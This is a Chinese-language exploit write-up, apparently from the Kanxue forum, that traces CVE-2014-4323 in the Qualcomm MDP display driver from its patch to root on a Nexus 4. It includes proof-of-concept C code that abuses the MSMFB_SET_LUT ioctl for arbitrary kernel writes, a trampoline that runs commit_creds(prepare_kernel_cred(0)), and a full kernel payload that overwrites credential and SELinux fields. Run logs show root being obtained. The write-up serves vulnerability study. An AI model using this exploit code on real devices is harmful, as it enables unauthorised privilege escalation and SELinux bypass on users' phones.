0x00 背景

漏洞类型:CWE-264    Permissions, Privileges, and Access Control,一个权限提升漏洞。我们从补丁开始反推其利用。

这个漏洞  影响基于以下芯片组的所有基于Qualcomm的设备:

  • APQ 8064(Snapdragon S4 Pro)

  • MSM 8960(Snapdragon S4)

  • MSM 8660(Snapdragon S3)

  • MSM 8x30

  • MSM 7x30

因此,基于这些SoC的所有设备(例如Nexus 4,Nexus 7等),以及2014年12月之前的内核,应该是易受攻击。

shell@mako:/ $ cat /proc/version

Linux version 3.4.0-perf-g60eefcd (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT Fri Oct 10 18:28:38 UTC 2014

刚好手上有个nexus 4的测试机,cat /proc/version查看内核版本,14年10月份,存在漏洞。

0x01 漏洞描述

Linux内核3.x的MDP显示驱动程序中的drivers / video / msm / mdp.c中的mdp_lut_hw_update函数,用于Qualcomm Innovation Center(QuIC)Android对MSM设备和其他产品的贡献,不会验证某些启动和ioctl调用中的长度值,允许攻击者通过精心设计的应用程序获得权限提升。

补丁代码:确保来自用户态输入的cmap是合理的。

0x02 漏洞分析

我们来看补丁检验的这个结构体 struct fb_cmap *cmap:

start是一个32的值但从注释来看是被做为指针的。

len是表示每个entry的个数。

r g b三色的值。

static int mdp_lut_hw_update(struct fb_cmap *cmap)

{

    int i;

    u16 *c[3];

    u16 r, g, b;

    c[0] = cmap->green;

    c[1] = cmap->blue;

    c[2] = cmap->red;

    for (i = 0; i < cmap->len; i++) {

        if (copy_from_user(&r, cmap->red++, sizeof(r)) ||

            copy_from_user(&g, cmap->green++, sizeof(g)) ||

            copy_from_user(&b, cmap->blue++, sizeof(b)))

            return -EFAULT;

#ifdef CONFIG_FB_MSM_MDP40

        MDP_OUTP(MDP_BASE + 0x94800 +

#else

        MDP_OUTP(MDP_BASE + 0x93800 +

#endif

            (0x400*mdp_lut_i) + cmap->start*4 + i*4,

                ((g & 0xff) |

                 ((b & 0xff) << 8) |

                 ((r & 0xff) << 16)));

    }

    return 0;

}

含有漏洞的代码,在for循环遍历entry这里for (i = 0; i < cmap->len; i++) 没检验cmap->len的长度的情况下,若cmap->len的值为1,执行后面的MDP_OUTP函数。会产生漏洞,此时i=0,而其他 gbr 三色的值我们可控。

MDP_OUTP(MDP_BASE + 0x93800 +

            (0x400*mdp_lut_i) + cmap->start*4 + 0*4,

                ((g & 0xff) |

                 ((b & 0xff) << 8) |

                 ((r & 0xff) << 16)));

MDP_OUTP函数的定义为:

#define MDP_OUTP(addr, val)        writel(val, addr);

往内存映射的 I/O 空间上写数据,将    ((g & 0xff) |((b & 0xff) << 8) |((r & 0xff) << 16)))组成的数据写入到这个地址上:

(MDP_BASE + 0x93800 +(0x400 * mdp_lut_i) + cmap->start*4 + 0 * 4)

我们就拥有了一个可以在内核上可以在32位地址上任意写入6 X 4=24位值的漏洞!

要利用这个洞,前提我们得先知道MDP_BASE,mdp_lut_i这里两个变量的值。

MDP_BASE:是一个定义为常量内存映射地址的宏(每个SoC一个)

mdp_lut_i:是一个标志,在每次调用MDSSFB_SET_LUT时交替设置为0或1。这意味着0x400*mdp_lut_i的值为0或0x400。

我们通过尝试一次触发使用cmap-> start值覆盖漏洞,看其覆盖的位置推出mdp_lut_i的值。

尝试往默认地址写入0x00ff0000:

shell@mako:/data/local/tmp $ ./poc

[+] Opened mdp driver  success

[i] Trying to leak the value of MDP_BASE

[i] Got mdp_base 0xf0100000 res 1

[+] Got mdp_base: 0xf0100000

[i] transp 0 red ff blue 0 green 0

[i] transp 0 red ff blue 0 green 0

[+] Wrote 0x00ff0000

手机换成了红色:

0x03 漏洞利用(未开启PXN)

先确认我们的nexus 4机子是32位还是63位?

armv7确认是32位,若是64位会有Aarch64等64标号(也可以读取Android 的system/build.prop文件("ro.product.cpu.abilist64"))。

根据含有漏洞的mdp_lut_hw_update函数调用链往上回溯:(之后我们会在内核崩溃日志的trace也看到这个调用链)

mdp_lut_hw_update-->mdp_lut_update_lcdc  -->mdss_fb_set_lut-->mdss_fb_ioctl

mdss_fb_ioctl对应的就是这个设备的fb_ioctl操作。我们可以通过调用 ioctl(mdp_fd, MSMFB_SET_LUT, &cmap);函数来触发漏洞。

static struct fb_ops mdss_fb_ops = {

    .owner = THIS_MODULE,

    .fb_open = mdss_fb_open,

    .fb_release = mdss_fb_release,

    .fb_check_var = mdss_fb_check_var,    /* vinfo check */

    .fb_set_par = mdss_fb_set_par,    /* set the video mode */

    .fb_blank = mdss_fb_blank,    /* blank display */

    .fb_pan_display = mdss_fb_pan_display,    /* pan display */

    .fb_ioctl = mdss_fb_ioctl,    /* perform fb specific ioctl */

    .fb_mmap = mdss_fb_mmap,

};

1.先尝试写出poc:

内核空间划分0~3G为用户空间,3~4G为内核空间。

需求:

我们知道一般给的poc是导致内核崩溃,我们也制造一个内核panic的poc,那么如何制造内核崩溃呢?这篇文章给了三种方式。

  • 1.Unable to handle kernel paging request at virtual address 00000000

越出内核地址空间范围,原因是由于使用空NULL指针。

  • 2.Unable to handle kernel paging request at virtual address 20100110

越出内核地址空间范围,原因是的内存越界导致该指针。

  • 3、Unable to handle kernel paging request at virtual address c074838c

没有越出内核地址 访问受限制内存导致oops。

//step3:write  0x00ff0000

uint32_t content=0x00ff0000;

uint16_t transp = 0x0;

uint16_t red = (content & 0x00ff0000) >> 16;

uint16_t blue = (content & 0x0000ff00) >> 8;

uint16_t green = (content & 0x000000ff) >> 0;

printf("[i] transp %01x red %01x blue %01x green %01x\n", transp, red, blue, green);

struct fb_cmap cmap;

cmap.start = 0x00ff0000;

cmap.len = 1;

cmap.transp = &transp;

cmap.red = &red;

cmap.blue = &blue;

cmap.green = &green;

printf("[i] transp %01x red %01x blue %01x green %01x\n", transp, red, blue, green);

//uint32_t overflown_result = mdp_base + MDP_KERNEL_PARAM_OFFSET + 0x400*mdp_lut_i + cmap_start_target*4;

if (ioctl(mdp_fd, MSMFB_SET_LUT, &cmap)) {

    printf("Error reading fixed information.\n");

    exit(2);

}

printf("[+] Wrote 0x%08x to 0x%08x\n", content,  cmap.start);

我们将0x00ff0000(红色的值),写入默认地址偏移为0x00ff0000的位置。手机panic重启了。

$cat /proc/last_kmsg 

[12281.126139] Unable to handle kernel paging request at virtual address f0590800

[12281.126383] pgd = ec208000

[12281.127268] [f0590800] *pgd=901ff811, *pte=00000000, *ppte=00000000

[12281.128794] Internal error: Oops: 807 [#1] PREEMPT SMP ARM

[12281.129282] CPU: 0    Tainted: G        W     (3.4.0-perf-g60eefcd #1)

[12281.129587] PC is at mdp_lut_hw_update+0x11c/0x144

[12281.129984] LR is at mdp_lut_hw_update+0xbc/0x144

[12281.130228] pc : <c029297c>    lr : <c029291c>    psr: 60000013

[12281.130259] sp : ec155b40  ip : 00000000  fp : be87ba7c

[12281.130961] r10: 00000000  r9 : ec154000  r8 : 00000000

[12281.131236] r7 : cf920260  r6 : 00000001  r5 : ec154000  r4 : ec155b9c

[12281.131724] r3 : f0100000  r2 : 00124200  r1 : 00ff0000  r0 : 00000000

[12281.132182] Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user

[12281.132456] Control: 10c5787d  Table: acc0806a  DAC: 00000015

[12281.132914]

[12281.132914] PC: 0xc02928fc:

[12281.151379] LR: 0xc029289c:

[12281.169752] SP: 0xec155ac0:

[12281.188339] R3: 0xf00fff80:

[12281.188950] ff80  ******** ******** ******** ******** ******** ******** ******** ********

[12281.191086] ffa0  ******** ******** ******** ******** ******** ******** ******** ********

[12281.193406] ffc0  ******** ******** ******** ******** ******** ******** ******** ********

[12281.195725] ffe0  ******** ******** ******** ******** ******** ******** ******** ********

[12281.197831] 0000  04040306 00000000 00000000 00000000 00000000 00000000 00000000 00000000

[12281.200151] 0020  ffffffff 00000fff 00010000 00000000 00000004 00000044 00000049 00000001

[12281.202440] 0040  003fffff 00000000 00000040 00003333 00000000 00000091 00000000 00000000

[12281.204729] 0060  00000000 00000000 00000000 00000000 00000003 00000000 00000000 06543210

[12281.206835]

[12281.206835] R4: 0xec155b1c:

[12281.225635] R5: 0xec153f80:

[12281.244100] R7: 0xcf9201e0:

[12281.262321] R9: 0xec153f80:

[12281.280785] Process poc (pid: 7634, stack limit = 0xec1542f0)

[12281.281213] Stack: (0xec155b40 to 0xec156000)

[12281.281457] 5b40: 00ff5b9c 00000000 ec155b9c

......

[12281.295344] 5fe0: be87ba48 be87b9f8 b6fabba9 b6fa64bc 60070010 00000003 00000000 00000000

[12281.295832] [<c029297c>] (mdp_lut_hw_update+0x11c/0x144) from [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94)

[12281.296137] [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94) from [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008)

[12281.296656] [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008) from [<c0287758>] (do_fb_ioctl+0x53c/0x588)

[12281.297175] [<c0287758>] (do_fb_ioctl+0x53c/0x588) from [<c012c488>] (do_vfs_ioctl+0x548/0x5bc)

[12281.297663] [<c012c488>] (do_vfs_ioctl+0x548/0x5bc) from [<c012c548>] (sys_ioctl+0x4c/0x6c)

[12281.298151] [<c012c548>] (sys_ioctl+0x4c/0x6c) from [<c000d980>] (ret_fast_syscall+0x0/0x30)

[12281.298426] Code: e2866001 e5933000 e5dd0004 e1811000 (e7831102)

[12281.300624] ---[ end trace e5118df9f972f390 ]---

[12281.300898] Kernel panic - not syncing: Fatal exception

[12283.039034] wcnss_8960: crash shutdown : 0

cat /proc/last_kmsg 查看上次最后的kernel log,寻找崩溃的原因:地址0xf0590800>0xc0000000属于往访问受限制内存导致的oops

通过end trace我们也能看出mdp_lut_hw_update在内核里的调用链。

[12281.295832] [<c029297c>] (mdp_lut_hw_update+0x11c/0x144) from [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94)[12281.296137] [<c0293e34>] (mdp_lut_update_lcdc+0x18/0x94) from [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008)[12281.296656] [<c0291ba0>] (msm_fb_ioctl+0x920/0x1008) from [<c0287758>] (do_fb_ioctl+0x53c/0x588)[12281.297175] [<c0287758>] (do_fb_ioctl+0x53c/0x588) from [<c012c488>] (do_vfs_ioctl+0x548/0x5bc)[12281.297663] [<c012c488>] (do_vfs_ioctl+0x548/0x5bc) from [<c012c548>] (sys_ioctl+0x4c/0x6c)[12281.298151] [<c012c548>] (sys_ioctl+0x4c/0x6c) from [<c000d980>] (ret_fast_syscall+0x0/0x30)[12281.298426] Code: e2866001 e5933000 e5dd0004 e1811000 (e7831102)

2.三种提权的方式:

三种提权思路:

2.1 patch sys_setresuid然后调用setresuid提权

2.2 执行commit_creds(prepare_kernel_cred(0))提权

2.3 修改当前进程的task_struct->cred结构体进行提权

2.1 setresuid提权

setresuid(0,0,0)可以用来设置进程的EUID,实现为当前进程提权的目的。但是普通用户直接调用并不能实现提取,原因如下:

上图中对应了内核文件中setresuid的部分代码信息,通过分析可以发现,函数在真正进行setresuid之前会对调用者拥有的权限进行检查,如上图红框中的内容,满足调用权限时,R0的值为#0,对于普通用户的调用,R0是一个非零值,所以如果我们把比较的对象#0改成一个非零值,那么setresuid的可以成功调用进行置位。

CMP R0,#0  指令为0xe3500000

CMP R1,#1  指令为0xe3500001

arm的opcaode

所以我我们提权的步骤如下:

1.搜索内核,查找sys_setresuid符号地址;

2.搜索sys_setresuid代码段,查找“0xe3500000” 并Patch为“0xe3500001”;

3.用户态调用setresuid()提权。

先读取/proc/kallsyms里的sys_setresuid的位置,利用任意写将其修改成0x3e500001,执行然后setresuid(0, 0, 0)即可完成提权。

而由于我们只能控制后24位,无法写入0x3e500001到sys_setresuid的地址。此思路暂时不通。

2.2 commit_creds提权

提权思路:覆盖内核里一个结构体方法的指针,将其地址指向用户态的代码commit_creds(prepare_kernel_cred(0)),最后再调用该结构体的方法完成提权。前提是我们知道commit_creds和 prepare_kernel_cred等函数地址。我们通过先patch掉kptr_restrict为我们构造能泄露内核函数地址的环境。

从内核2.6.37开始,普通shell用户没有办法从/proc/kallsyms中读到内核符号表地址。先patch掉kptr_restrict。

我这里是直接在root下patch kptr_restrict

shell@mako:/ #echo 0 > /proc/sys/kernel/kptr_restrict

用此种方式无需硬编码,来适配不同的安卓/linux设备。

prepare_kernel_cred_t prepare_kernel_cred;

commit_creds_t commit_creds;

int PPPOLAC_PROTO_OPS_RELEASE;

//读取内核符号表找到特定方法的地址

void * get_ksymbol(char *name)

{

        FILE *f = fopen("/proc/kallsyms", "r");

        char c, sym[512];

        void *addr;

        int ret;

        while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {

                if (!strcmp(sym, name))

                        return addr;

        }

        return NULL;

}

void resolve_kernel_symbols(void)

{

        prepare_kernel_cred     = get_ksymbol("prepare_kernel_cred");

        commit_creds            = get_ksymbol("commit_creds");

        PPPOLAC_PROTO_OPS_RELEASE =get_ksymbol("pppolac_proto_ops");//

        if (!prepare_kernel_cred || !commit_creds)

                errx(1, "couldn't map all kernel symbols");

        printf("prepare_kernel_cred=%p,commit_creds= %p\n",prepare_kernel_cred,commit_creds);

}

//用于提权的payload

void kernel_payload() {

      commit_creds(prepare_kernel_cred(0));

}

我们这里是先找到“pppolac_proto_ops”结构中找到包含函数指针的位置。这是内核中用于注册与PPP_OLAC协议的套接字交互时使用的函数指针的结构。这种结构是合适的,因为:

1.PPP_OLAC协议没有被广泛使用,因此不需要立即恢复被覆盖的函数指针。

2.除了创建套接字的能力之外,打开PPP_OLAC套接字不需要特殊权限
结构本身是静态的(因此存储在BSS中),并且没有标记为“const”,因此是可写的。

//step4: Allocating the trampoline and Write shellcode to addr

trampoline = (uint32_t*)mmap((void*)TRAMPOLINE_ADDRESS, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);//0x00100000

if (trampoline == NULL) {

    perror("[-] Failed to allocate trampoline");

    return -errno;

}

printf("[+] Allocated trampoline\n");

printf("[i] Attempting to execute kernel_payload at 0x%08x\n", (uint32_t)&kernel_payload);

//Writing to the trampoline

trampoline[0] = 0xE51FF004; //LDR PC, [addr]

//addr:

trampoline[1] = (uint32_t)&kernel_payload;

//Flushing the cache (to make sure the I-cache doesn't contain leftovers)

cacheflush((uint32_t)trampoline & (~0xFFF), 0x1000, 0);

// mdp_lut_i will switch between 0 and 1 at each call

mdp_lut_i = !mdp_lut_i;

write_where(mdp_fd, mdp_lut_i, mdp_base, (uint32_t)trampoline, PPPOLAC_PROTO_OPS_RELEASE);

因为我们只可控后24位,我们在0x00100000这个用户空间地址构造跳到payload的跳板trampoline,并将跳板trampoline的地址写到pppolac_proto_ops结构体的地址PPPOLAC_PROTO_OPS_RELEASE上。当我们执行socket. close()函数时jump到跳板里执行我们提权的payload。

shell@mako:/ $ /data/local/tmp/pwn

prepare_kernel_cred=0xc008eff0,commit_creds= 0xc008eab4

[+] Opened mdp driver

[i] Trying to leak the value of MDP_BASE

[i] Got mdp_base 0xf0100000 res 1

[+] Got mdp_base: 0xf0100000

[i] Trying to leak the current value of mdp_lut_i

[+] Successfully mapped dropzone. Address: 0x10000000, Size: 0x00010000

[i] Trying to write 0x00dabeef at 0x10000000

[i] Target cmap_start: 0x07f9ae00

[i] Expected VM target address: 0x10000000

[i] transp 0 red da blue be green ef

[+] Wrote 0x00dabeef to 0x10000000

[+] Found modification: 0x00dabeef at offset: 0x400 (address: 0x10000400)

[i] delta write 00000400

[+] Got mdp_lut_i: 0x1

[+] Allocated trampoline

[i] Attempting to execute kernel_payload at 0xb6f23df5

[i] Trying to write 0x00100000 at 0xc0eaf3a4

[i] Target cmap_start: 0x34346ae9

[i] Expected VM target address: 0xc0eaf3a4

[i] transp 0 red 10 blue 0 green 0

[+] Wrote 0x00100000 to 0xc0eaf3a4

[+] Opened PPPOLAC socket: 7

[+] Executed function

[+] got r00t!

shell@mako:/ # id

uid=0(root) gid=0(root) context=u:r:kernel:s0

2.3 修改task_struct结构体进行提权(pThreadInfo->addr_limit=0xffffffff)

这个利用代码借鉴的ggggwwww大佬的这篇文章让子弹继续飞-如何利用一个漏洞代码root更多手机 总体利用流程如下:

  1. 建立netlink服务监听。

  2. 通过inet_diag的netlink通信,从内核返回的cookie中获得sk结构体的地址。

  3. 利用任意地址写的能力,修改sk中destruct的函数指针。使其指向我们的shellcode地址。

  4. 关闭第一步建立的socket,触发shellcode的调用,获得root权限。

其中有两点值得学习:


   32位系统上sock信息泄露漏洞和修改task_struct的方式。

一:inet_diag信息泄漏问题

在inet_diag调用会返回cookie,该cookie数组包括了sk的低32位地址及高32地址。对于32位的系统来说,cookie[0]泄漏了sock结构的地址。

而每个socket数据结构都有一个sock数据结构成员,sock是对socket的扩充,两者一一对应。
struct sock {

__u32 daddr; // dip,Foreign IPv4 addr

__u32 rcv_saddr; // 记录套接字所绑定的地址

__u16 dport; // dport

unsigned short num; /* 套接字所在的端口号

…

struct proto *prot; // 例如指向tcp_prot

void (*state_change)(struct sock *sk);

void (*data_ready)(struct sock *sk,int bytes);

void (*write_space)(struct sock *sk);

void (*error_report)(struct sock *sk);

int (*backlog_rcv) (struct sock *sk, struct sk_buff *skb);

void (*destruct)(struct sock *sk);

};

当socket被关闭时destruct指针指向的函数将被执行。我们通过sock地址和destruct的偏移找到destruct函数指针的地址。

int sock_offset=get_destruct_offset(versionCode);

if(sock_offset>=0)

    {

  target += sock_offset;

  printf("[*] sock_destruct address: %lx\n", target);

 }

二:修改task_struct的方式可以总结如下

  1. 通过shellcode的临时变量,泄漏sp地址。

  2. 通过sp地址和thread_info共用4K/8K空间的特点定位到thread_info地址。

  3. 判断thread_info的addr_limit的地址范围,确定task_struct的位置。

  4. 判断task_struct中的comm是否为进程名。

  5. 判断cred和real_cred是否在内核地址范围而且相关参数相等,定位到cred和read_cred的偏移。

  6. 修改cred和read_cred相关参数的值。

  7. 判断是否是selinux,如果是定位到tsec结构体的地址。

  8. 修改tsec结构体的参数的值。Bypass seliux。

int kernel_payload()

{

    int                v38; /* [sp+0h] [bp-60h]@1 */

    int                addrBase;

    char                szName[16] = "exploit";

    int                offset;

    struct task_security_struct    * tsec;

    struct thread_info        *pThreadInfo;

    int                ret = -1;

    int                searchLenth;

    int                isSelinux = 1;

    mycred                *my_cred;

    mycred                *my_real_cred;

    addrBase = *(int *) ( ( (int) (&v38) & 0xFFFFE000) + 0xC);

    unsigned long mySP = ( (unsigned long) (&v38) & 0xFFFFE000);    /* 1.  v38此种异或0xFFFFE000的方式,为什么能泄漏sp地址??? */

    pThreadInfo = (struct thread_info *) mySP;                      /* 2.  mySP的地址为什么等于thread_info地址?? */

    if ( pThreadInfo->addr_limit != 0xbf000000 )                    /* addr_limit默认值为0xbf000000 */

        return(19);

    pThreadInfo->addr_limit = 0xffffffff;                           /* 修改pThreadInfo->addr_limit的值 */

    if ( addrBase > 0xBFFFFFFF )

    {

        offset = 0;

        while ( 1 )

        {

            addrBase += 4;

            if ( !kmemcmp( addrBase, szName, 16 ) )

                break;

            ++offset;

            if ( offset == 0x600 )

            {

                return(18);

            }

        }

    }else  {

        return(17);

    }

    my_cred        = *(int *) (addrBase - 8);

    my_real_cred    = *(int *) (addrBase - 8 - 4);

    searchLenth    = 0;

    while ( searchLenth < 0x20 )

    {

        if ( !my_cred || !my_real_cred

             || my_cred < 0xBFFFFFFF || my_real_cred < 0xBFFFFFFF

             )

        {

            /* 2.6? */

            addrBase -= 4;

            my_cred        = *(int *) (addrBase - 8);

            my_real_cred    = *(int *) (addrBase - 8 - 4);

        }else

            break;

        searchLenth++;

    }

    if ( searchLenth == 0x20 )

    {

        return(20);

    }

    /*

     * fuck!! where is my cred???

     * 6.修改cred和read_cred相关参数的值。

     */

    my_cred->uid            = 0;

    my_cred->gid            = 0;

    my_cred->suid            = 0;

    my_cred->sgid            = 0;

    my_cred->egid            = 0;

    my_cred->euid            = 0;

    my_cred->fsgid            = 0;

    my_cred->fsuid            = 0;

    my_cred->securebits        = 0;

    my_cred->cap_bset.cap[0]    = -1;

    my_cred->cap_bset.cap[1]    = -1;

    my_cred->cap_inheritable.cap[0] = -1;

    my_cred->cap_inheritable.cap[1] = -1;

    my_cred->cap_permitted.cap[0]    = -1;

    my_cred->cap_permitted.cap[1]    = -1;

    my_cred->cap_effective.cap[0]    = -1;

    my_cred->cap_effective.cap[1]    = -1;

    my_real_cred->uid            = 0;

    my_real_cred->gid            = 0;

    my_real_cred->suid            = 0;

    my_real_cred->sgid            = 0;

    my_real_cred->egid            = 0;

    my_real_cred->euid            = 0;

    my_real_cred->fsgid            = 0;

    my_real_cred->fsuid            = 0;

    my_real_cred->securebits        = 0;

    my_real_cred->cap_bset.cap[0]        = -1;

    my_real_cred->cap_bset.cap[1]        = -1;

    my_real_cred->cap_inheritable.cap[0]    = -1;

    my_real_cred->cap_inheritable.cap[1]    = -1;

    my_real_cred->cap_permitted.cap[0]    = -1;

    my_real_cred->cap_permitted.cap[1]    = -1;

    my_real_cred->cap_effective.cap[0]    = -1;

    my_real_cred->cap_effective.cap[1]    = -1;

    /* 7.  判断是否是selinux,如果是定位到tsec结构体的地址。 */

    if ( isSelinux )

    {

        /* 8.修改tsec结构体的参数的值。Bypass seliux。 */

        tsec = my_cred->security;

        if ( tsec && tsec > 0xBFFFFFFF )

        {

            tsec->sid    = 1;

            tsec->exec_sid    = 1;

            ret        = 151;

        }else  {

            tsec = (struct task_security_struct *) (*(int *) (0x10 + (int) &my_cred->security) );

            if ( tsec && tsec > 0xBFFFFFFF )

            {

                tsec->sid    = 1;

                tsec->exec_sid    = 1;

                ret        = 152;

            }

        }

        tsec = my_real_cred->security;

        if ( tsec && tsec > 0xBFFFFFFF )

        {

            tsec->sid    = 1;

            tsec->exec_sid    = 1;

            ret        = 153;

        }else {

            tsec = (struct task_security_struct *) (*(int *) (0x10 + (int) &my_real_cred->security) );

            if ( tsec && tsec > 0xBFFFFFFF )

            {

                tsec->sid    = 1;

                tsec->exec_sid    = 1;

                ret        = 154;

            }

        }

    }else  {

        ret = 16;

    }

    /* commit_creds(prepare_kernel_cred(0)); */

    return(ret);

}

跑exploit的结果如下:这里我们发现已经修改过task_struct结构的进程的id,为何groups依然为1003(graphics)?

1|shell@mako:/ $ /data/local/tmp/exploit

prepare_kernel_cred=0xc008eff0,commit_creds= 0xc008eab4

[*] Opening TCP socket...

[*] Getting socket address from INET_DIAG...

[*] versionCode=34,szRelease=3.4.0-perf-g60eefcd,szVersion=#1 SMP PREEMPT Fri Oct 10 18:28:38 UTC 2014

[*] sock_destruct address: ebdc8198

[+] Opened mdp driver

[i] Trying to leak the value of MDP_BASE

[i] Got mdp_base 0xf0100000 res 1

[+] Got mdp_base: 0xf0100000

[i] Trying to leak the current value of mdp_lut_i

[+] Successfully mapped dropzone. Address: 0x10000000, Size: 0x00010000

[i] Trying to write 0x00dabeef at 0x10000000

[i] Target cmap_start: 0x07f9ae00

[i] Expected VM target address: 0x10000000

[i] transp 0 red da blue be green ef

[+] Wrote 0x00dabeef to 0x10000000

[+] Found modification: 0x00dabeef at offset: 0x400 (address: 0x10000400)

[i] delta write 00000400

[+] Got mdp_lut_i: 0x1

[+] Allocated trampoline

[i] Trying to write 0x00100000 at 0xebdc8198

[i] Target cmap_start: 0x3ef0ce66

[i] Expected VM target address: 0xebdc8198

[i] transp 0 red 10 blue 0 green 0

[+] Wrote 0x00100000 to 0xebdc8198

[+] Execute Shellcode[README](media/15446227228942/README.md)

uid = 0

gid = 0

ROOT SUCCESS

shell@mako:/ # id

uid=0(root) gid=0(root) groups=1003(graphics),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:kernel:s0

正常情况下sh和有root权限的init进程的cred结构值如下:

利用代码

0x04 总结

到此,本菜鸡终于完成了一次漏洞补丁分析到利用提权的过程。

1.了解了内核崩溃的三种类型,和查看崩溃日志的方法

2.学习了patch掉kptr_restrict的读取内核符号里的函数的方法。(当然还有利用读写漏洞搜索内核,查找“%pK %c %s\n”,并Patch成“%p %c %s\n”等方案绕过kptr_restrict)   

3.三种常见的提权的方案,并在未开启PXN的条件完成了两种利用。

0x05 参考

  • https://android.googlesource.com/kernel/msm/+/65e9273c22264162c85351c5c29c94ff7ee2285e/drivers/video/msm/mdp.c

  • 让子弹继续飞-如何利用一个漏洞代码root更多手机

https://bbs.pediy.com/thread-211017.htm

  • Android系统漏洞提权

http://www.droidsec.cn/android%E7%B3%BB%E7%BB%9F%E6%BC%8F%E6%B4%9E%E6%8F%90%E6%9D%83/

  • Android内核sys_setresuid() Patch提权CVE-2012-6422

https://www.cnblogs.com/gm-201705/p/9863995.html

  • Android内核漏洞利用技术实战:环境搭建&栈溢出实战

https://www.anquanke.com/post/id/86617

- End -

看雪ID:endlif                              

https://bbs.pediy.com/user-755008.htm

本文由 endlif 原创

转载请注明来自看雪社区

热门技术文章推荐:

  • 看雪CTF.TSRC 2018 团队赛 第九题『谍战』 解题思路

  • CVE-2014-6332学习笔记

  • 看雪CTF.TSRC 2018 团队赛 第八题 『二向箔』 解题思路

  • CVE-2017-4901 VMware虚拟机逃逸漏洞分析【Frida Windows实例】

公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com

从补丁到Root——CVE-2014-4323分析相关推荐

  1. ProCAST 2014砂型铸造分析基础到高级案例视频教程

    ProCAST 2014砂型铸造分析基础到高级案例视频教程 链接:https://pan.baidu.com/s/1DSUIC7MzJoxP1A8cd3m8CQ 提取码:rovz

  2. android 反调试 方案,【木马分析】使用高级反调试与反HOOK的安卓恶意ROOT软件的深度分析(一):NATIVE层的调试...

    预估稿费:180RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 前言 最近,我们发现了一个新的Android rootnik恶意软件,它使用开源的Android root ...

  3. android临时root权限获取失败,安卓手机为何获取Root权限失败?分析手机Root失败的原因是什么?...

    如今,手机预装的APP应用程序实在太多,对于有系统纯净强迫症的用户来说,拿到手机第一件事就是折腾,通过Root或者刷机解决问题,那么我们在获取ROOT权限的时候可能会遇到失败,那么安卓手机为何获取Ro ...

  4. [家里蹲大学数学杂志]第297期丘成桐大学生数学竞赛2014年分析与方程个人赛试题...

    1. 设 $f:\bbR\to \bbR$ 连续, 且满足 $$\bex \sup_{x,y\in\bbR}|f(x+y)-f(x)-f(y)|<\infty, \eex$$ $$\bex \v ...

  5. 丘成桐大学生数学竞赛2014年分析与方程个人赛试题第一题另解

    以下解答来自华东师大大二学生黄越. 特此说明.

  6. yaffs2的补丁文件patch-ker分析

    为内核打上yaffs2 补丁 (1)将yaffs2代码加入内核 这可以通过yaffs2目录下的脚本文件patch-ker.sh来给内核打补丁,用法如下: usage: ./patch-ker.sh c ...

  7. 通过对比 5 月补丁分析 win32k 空指针解引用漏洞

    微软在 2018 年 5 月的安全公告中包含并修复了 4 个 win32k 内核提权漏洞.这篇文章将通过补丁对比的方式,发现并分析补丁程序中修复的一个由某处空指针解引用导致的提权漏洞,最终实现其验证和 ...

  8. SQL Server 2014 SP1 通过补丁KB3058865提供更新,SP1一文便知

    Microsoft SQL Server 2014 SP1 更新: SQLServer2014SP1-KB3058865-architecture-language.exe 安装完成后版本 12.0. ...

  9. 工控系统的全球安全现状:全球漏洞实例分析

    工控系统的全球安全现状:全球漏洞实例分析 一.摘要 ​ 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...

  10. android mediaserver Stagefright 漏洞分析

    转自:http://drops.wooyun.org/papers/7558 使用Stagefright库的应用程序以Media权限运行,成功利用漏洞,允许攻击者浏览器媒体库相应的文件,但通过权限提升 ...

最新文章

  1. python 匿名函数的使用
  2. 高糊视频秒变4K,速度快了9倍!东南大学提出新的视频超分辨率系统
  3. Xamarin中打开别人项目找不到android.jar文件
  4. java libpcap,Linux下编译安装libpcap
  5. 每天改變或學習一點點 終究聚沙成塔
  6. 1-10 之间的整数相加,得到累加值大于 20 的当前数
  7. 快速学习23种设计模式思想Design Patterns
  8. 一个程序员送给大学生的一些话
  9. Java反射异常:java.lang.NoSuchFieldException
  10. Java 算法 摆动序列
  11. typescript之http请求
  12. 又是一个秋天~~~~
  13. Inpaint 5.6 图片去水印工具 限时免费
  14. python | 秦九昭算法详细介绍
  15. Unity 通过代码修改材质球属性
  16. 神经元振荡中相位幅值耦合的量化:锁相值、平均向量长度、调制指数和广义线性模型交叉频率耦合
  17. 您的项目已获得 1000 枚 Star !
  18. 用python实现12306登录、查票(小白都一看就懂的)
  19. 复现SCRDet:Towards More Robust Detection for Small, Cluttered and Rotated Objects(ICCV2019)遇到的问题及解决方案
  20. Win11系统打开电脑磁盘显示磁盘错误无法打开怎么办?

热门文章

  1. 洛谷P3379 【模板】最近公共祖先(LCA)(树链剖分)
  2. 【不积跬步,无以致千里】DELETE SINGLE IPTABLES RULES
  3. 实习也能这样过!节选
  4. 【OpenCV入门指南】第七篇 线段检测与圆检测
  5. Sound Grinder Pro for Mac(音频批量编辑转换工具)
  6. 51nod 1133 - 矩阵快速幂(模版) 快速乘 + 快速幂 + 矩阵快速幂
  7. iOS底层探索之对象的本质和类的关联特性initIsa(上)
  8. JS 函数中arguments的使用
  9. 洛谷3004 [USACO10DEC]宝箱Treasure Chest
  10. C++访问WebService(gSoap方式和com组件方式)